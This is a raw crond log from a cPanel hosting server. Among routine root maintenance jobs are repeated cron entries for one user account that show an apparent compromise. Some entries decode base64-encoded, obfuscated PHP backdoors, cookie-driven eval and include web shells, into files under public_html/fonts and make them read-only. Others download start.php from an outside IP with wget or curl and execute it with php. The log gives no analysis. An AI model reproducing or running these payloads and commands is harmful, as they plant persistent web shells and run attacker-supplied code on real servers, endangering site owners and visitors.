Sep  7 22:45:01 ip-184-168-122-23 CROND[32282]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 22:45:01 ip-184-168-122-23 CROND[32286]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 22:45:01 ip-184-168-122-23 CROND[32287]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 22:46:02 ip-184-168-122-23 CROND[32373]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 22:46:02 ip-184-168-122-23 CROND[32377]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  7 22:46:02 ip-184-168-122-23 CROND[32376]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 22:46:02 ip-184-168-122-23 CROND[32375]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 22:46:02 ip-184-168-122-23 CROND[32378]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  7 22:46:02 ip-184-168-122-23 CROND[32379]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 22:46:02 ip-184-168-122-23 CROND[32380]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 22:47:01 ip-184-168-122-23 CROND[32506]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 22:47:01 ip-184-168-122-23 CROND[32510]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 22:47:01 ip-184-168-122-23 CROND[32508]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 22:47:01 ip-184-168-122-23 CROND[32509]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 22:48:01 ip-184-168-122-23 CROND[32590]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 22:48:01 ip-184-168-122-23 CROND[32593]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 22:48:01 ip-184-168-122-23 CROND[32591]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 22:48:01 ip-184-168-122-23 CROND[32594]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 22:48:01 ip-184-168-122-23 CROND[32592]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 22:49:01 ip-184-168-122-23 CROND[32671]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep  7 22:49:01 ip-184-168-122-23 CROND[32673]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 22:49:01 ip-184-168-122-23 CROND[32675]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 22:49:01 ip-184-168-122-23 CROND[32672]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 22:49:01 ip-184-168-122-23 CROND[32674]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 22:50:01 ip-184-168-122-23 CROND[414]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  7 22:50:01 ip-184-168-122-23 CROND[416]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 22:50:01 ip-184-168-122-23 CROND[417]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 22:50:01 ip-184-168-122-23 CROND[419]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 22:50:01 ip-184-168-122-23 CROND[418]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 22:50:01 ip-184-168-122-23 CROND[421]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 22:50:01 ip-184-168-122-23 CROND[422]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 22:50:01 ip-184-168-122-23 CROND[423]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 22:50:01 ip-184-168-122-23 CROND[420]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 22:51:01 ip-184-168-122-23 CROND[551]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 22:51:01 ip-184-168-122-23 CROND[552]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 22:51:01 ip-184-168-122-23 CROND[555]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 22:51:01 ip-184-168-122-23 CROND[554]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 22:52:01 ip-184-168-122-23 CROND[645]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 22:52:01 ip-184-168-122-23 CROND[646]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 22:52:01 ip-184-168-122-23 CROND[647]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 22:52:01 ip-184-168-122-23 CROND[648]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 22:52:01 ip-184-168-122-23 CROND[650]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 22:53:01 ip-184-168-122-23 CROND[745]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 22:53:01 ip-184-168-122-23 CROND[748]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 22:53:01 ip-184-168-122-23 CROND[747]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 22:53:01 ip-184-168-122-23 CROND[749]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 22:54:01 ip-184-168-122-23 CROND[847]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 22:54:01 ip-184-168-122-23 CROND[849]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 22:54:01 ip-184-168-122-23 CROND[852]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 22:54:01 ip-184-168-122-23 CROND[850]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 22:54:01 ip-184-168-122-23 CROND[851]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 22:55:01 ip-184-168-122-23 CROND[939]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 22:55:01 ip-184-168-122-23 CROND[940]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 22:55:01 ip-184-168-122-23 CROND[941]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 22:55:01 ip-184-168-122-23 CROND[943]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 22:55:01 ip-184-168-122-23 CROND[942]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 22:55:01 ip-184-168-122-23 CROND[945]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 22:56:01 ip-184-168-122-23 CROND[1030]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 22:56:01 ip-184-168-122-23 CROND[1031]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 22:56:01 ip-184-168-122-23 CROND[1033]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 22:56:01 ip-184-168-122-23 CROND[1034]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 22:56:01 ip-184-168-122-23 CROND[1032]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 22:57:01 ip-184-168-122-23 CROND[1121]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
